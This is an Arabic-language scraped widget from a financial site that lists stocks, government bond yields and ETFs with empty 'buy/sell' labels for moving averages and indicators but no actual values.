جي بي مورغان تشيس وشركاه
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
إكسون موبايل
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
BP
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
دويتشي بانك اي جي
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
الولايات المتحدة 2 س
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
الولايات المتحدة 5 س
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
الولايات المتحدة 10 س
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
الولايات المتحدة 30 س
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
سندات اليورو
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
الخزينة الامريكية 10 س
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
حكومة اليابان
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
جيلت البريطانية
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
اس بي دي آر – DJ
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
آي شيرز راسل 1000
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
آي شيرز راسل – 2000
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
Invesco QQQ Trust
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
اس بي دي آر S&P 500
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
اولتراشورت – S&P 500
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
QQQ – اولتراشورت
%
ملخص
معدلات متحركة:
شراء
بيع
مؤشرات:
شراء
بيع
إبحث عن شركات الوساطة